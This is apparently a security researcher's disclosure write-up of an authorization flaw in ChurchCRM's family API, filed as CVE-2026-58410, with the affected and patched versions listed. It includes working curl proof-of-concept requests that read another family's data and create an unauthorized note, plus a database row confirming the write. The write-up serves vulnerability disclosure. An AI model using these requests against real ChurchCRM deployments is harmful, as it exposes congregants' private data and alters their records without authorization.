TL;DR
I got CVE-2026-58410 in ChurchCRM.
This one was an object-level authorization bug in family-scoped API endpoints.
A low-privileged authenticated user with EditSelf could supply another family’s familyId and access data outside their own family scope.
If the same user also had Notes permission, they could go one step further and create notes on another family’s record.
So the bug was not just read-only IDOR.
It also had an integrity side.
The bug
The affected package was:
churchcrm/crmThe vulnerable pattern was simple:
authenticated user-> has EditSelf-> changes familyId in the API route-> backend loads that family by ID-> no object-level family ownership check-> unrelated family record is returned or modifiedThat breaks the meaning of EditSelf.
If a user is only allowed to access their own family record, then the route cannot trust familyId just because the request is authenticated.
Affected endpoints
The advisory lists these runtime-confirmed endpoints:
GET /api/family/{familyId}GET /api/family/{familyId}/notesPOST /api/family/{familyId}/noteGET /api/timeline/family/{familyId}Those are all family-scoped routes.
The problem was that the scope came from the URL parameter, not from an authorization decision tied to the current user.
Why it worked
ChurchCRM already had person-level object authorization through a canEditPerson() style check.
The family API routes did not enforce the equivalent family-level check.
So the backend answered the wrong question:
is this user authenticated and allowed to use self-edit style functionality?Instead, it needed to answer:
is this requested familyId actually inside this user's allowed family scope?That missing second question is the whole bug.
Repro setup
The test setup was:
- attacker family:
fam_ID = 200 - victim family:
fam_ID = 100 - attacker user linked to family
200
Attacker permissions:
EditSelf = trueNotes = trueAdmin = false
The attacker used their own API key in the x-api-key header.
Reading another family
The attacker could request the victim family directly:
curl -i \ -H 'x-api-key: attacker-key' \ 'http://127.0.0.1:8080/api/family/100'Observed result:
200 OKvictim family data returnedExpected result:
403 ForbiddenThe same pattern worked for notes:
curl -i \ -H 'x-api-key: attacker-key' \ 'http://127.0.0.1:8080/api/family/100/notes'and for timeline data:
curl -i \ -H 'x-api-key: attacker-key' \ 'http://127.0.0.1:8080/api/timeline/family/100'Both should have stayed inside the attacker’s own family scope.
They did not.
Writing to another family
The more interesting part was note creation.
With Notes permission, the attacker could create a note on the victim family:
curl -i \ -H 'x-api-key: attacker-key' \ -H 'Content-Type: application/json' \ -X POST \ --data '{"text":"Unauthorized family note via runtime test","private":false}' \ 'http://127.0.0.1:8080/api/family/100/note'Observed result:
201 Creatednote attached to victim familyThat is why I do not treat this as only “someone can view another profile.”
The route also allowed modifying another family’s record.
Database proof
The unauthorized note creation was confirmed in the database:
nte_ID nte_fam_ID nte_Text nte_EnteredBy1000 100 Victim family public note 11001 100 Unauthorized family note via runtime test 200That second row is the important proof.
The attacker user from family 200 created a note attached to family 100.
So the issue was not limited to a response rendering mistake. The write happened.
Impact
A low-privileged authenticated user could access unrelated congregation records.
The exposed data could include:
- family name
- address
- phone number
- family member list
- birthdays
- family notes
- timeline entries
And with note access, the same user could create notes on another family.
That makes the impact both confidentiality and integrity:
read another family's private profile and activity datawrite a note onto another family's recordWhy I liked it
This is the kind of bug that looks small until you line it up with the permission name.
EditSelf sounds safe.
But the API still accepted an arbitrary familyId.
Once user-controlled IDs are allowed to define the authorization boundary, “self” becomes whatever ID the attacker puts in the URL.
That is the classic IDOR shape.
Severity and versions
The public advisory lists:
- CVE:
CVE-2026-58410 - GHSA:
GHSA-jjcj-h3cm-p7x7 - Severity:
High - CVSS:
7.1 - Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N - CWE:
CWE-639 - CWE:
CWE-862 - Affected:
7.3.3 - Patched:
7.4.0